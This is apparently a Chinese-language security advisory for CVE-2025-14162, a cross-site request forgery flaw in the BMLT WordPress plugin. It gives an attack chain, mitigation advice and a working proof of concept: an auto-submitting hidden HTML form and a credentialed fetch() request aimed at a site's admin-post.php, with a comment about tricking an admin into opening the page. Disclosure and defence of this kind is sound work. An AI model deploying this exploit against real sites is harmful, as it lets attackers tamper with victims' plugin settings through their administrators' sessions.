IPBUF安全漏洞报告
English
CVE-2025-14162 CVSS 4.3 中危

CVE-2025-14162 BMLT WordPress Plugin跨站请求伪造漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14162
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
BMLT WordPress Plugin

相关标签

跨站请求伪造CSRFWordPress插件漏洞BMLTCVE-2025-14162Nonce验证缺失配置注入中危漏洞

漏洞概述

BMLT WordPress Plugin是一款用于管理康复会议列表的WordPress插件,在WordPress生态系统中被广泛使用。该插件3.11.4及之前的所有版本存在严重的跨站请求伪造(CSRF)漏洞。漏洞根源在于插件对'BMLTPlugin_create_option'和'BMLTPlugin_delete_option'两个关键功能缺少Nonce令牌验证机制。攻击者可以利用此漏洞,通过构造恶意链接或网页,诱使已登录的网站管理员执行非预期的操作,从而在受害者网站上创建或删除插件设置选项。由于该漏洞无需认证即可发起攻击,且攻击成功依赖于管理员的用户交互(点击链接),因此CVSS评分达到4.3分(中危级别)。攻击者通过社会工程学手段,利用管理员的信任关系或好奇心,可以悄无声息地修改插件配置,可能导致网站功能异常或安全配置被篡改。

技术细节

漏洞存在于插件的核心文件bmlt-cms-satellite-plugin.php第848行附近。该文件中的BMLTPlugin_create_option和BMLTPlugin_delete_option函数直接处理用户提交的POST/GET请求,但未调用wp_verify_nonce()或wp_create_nonce()进行令牌验证。攻击者只需构造包含action=BMLTPlugin_create_option和相应参数(options_name、options_value等)的HTML表单或JavaScript AJAX请求,通过电子邮件、论坛帖子或社交工程等方式诱导管理员访问。当管理员点击恶意链接时,浏览器会自动携带其有效的认证Cookie向目标站点发送请求,由于请求来自管理员的浏览器,服务器会认为是合法操作并执行相应代码。成功利用后,攻击者可添加任意插件配置项,如修改API端点、禁用安全检查等,为后续更严重的攻击(如存储型XSS或权限提升)铺平道路。

攻击链分析

STEP 1
1
攻击者侦察目标网站使用的BMLT WordPress Plugin版本,确认为3.11.4或更早版本
STEP 2
2
攻击者分析插件源代码,定位到bmlt-cms-satellite-plugin.php中缺少nonce验证的函数
STEP 3
3
攻击者构造包含BMLTPlugin_create_option或BMLTPlugin_delete_option参数的CSRF攻击载荷
STEP 4
4
攻击者通过钓鱼邮件、恶意帖子或社交工程等方式诱骗网站管理员访问恶意链接
STEP 5
5
管理员浏览器自动发送携带有效Session Cookie的请求到目标站点
STEP 6
6
目标服务器因缺少nonce验证而将恶意请求视为合法管理员操作并执行
STEP 7
7
攻击者成功在插件数据库中创建或删除配置项,实现配置篡改目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-14162: BMLT Plugin Settings Creation --> <!-- Save this as poc.html and trick admin to open it --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>Please wait, loading...</h1> <!-- Auto-submit form to create malicious option --> <form id="csrf_form" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <input type="hidden" name="action" value="BMLTPlugin_create_option"> <input type="hidden" name="options_name" value="bmlt_malicious_setting"> <input type="hidden" name="options_value" value="malicious_value"> <!-- Add nonce bypass attempt (may not work if nonce is required) --> <input type="hidden" name="_wpnonce" value="attacker_controlled_or_blank"> </form> <!-- Auto-submit form to delete existing option --> <form id="csrf_form_delete" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <input type="hidden" name="action" value="BMLTPlugin_delete_option"> <input type="hidden" name="options_name" value="bmlt_existing_setting"> <input type="hidden" name="_wpnonce" value="attacker_controlled_or_blank"> </form> <script> // Auto-submit the forms when page loads window.onload = function() { // Submit create option form document.getElementById('csrf_form').submit(); // Optionally submit delete form // document.getElementById('csrf_form_delete').submit(); }; </script> </body> </html> <!-- Alternative: JavaScript-based fetch PoC --> <script> fetch('http://target-site.com/wp-admin/admin-post.php', { method: 'POST', mode: 'no-cors', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=BMLTPlugin_create_option&options_name=malicious_option&options_value=pwned' }); </script>

影响范围

BMLT WordPress Plugin <= 3.11.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则阻止包含action=BMLTPlugin_create_option和BMLTPlugin_delete_option参数的异常请求;2) 限制管理员后台IP访问范围,只允许受信任的IP地址访问wp-admin目录;3) 提醒管理员不要点击来自未知来源的链接,尤其是要求执行管理操作的链接;4) 监控访问日志,查找异常的admin-post.php请求模式;5) 考虑暂时禁用BMLT插件,直到官方安全补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表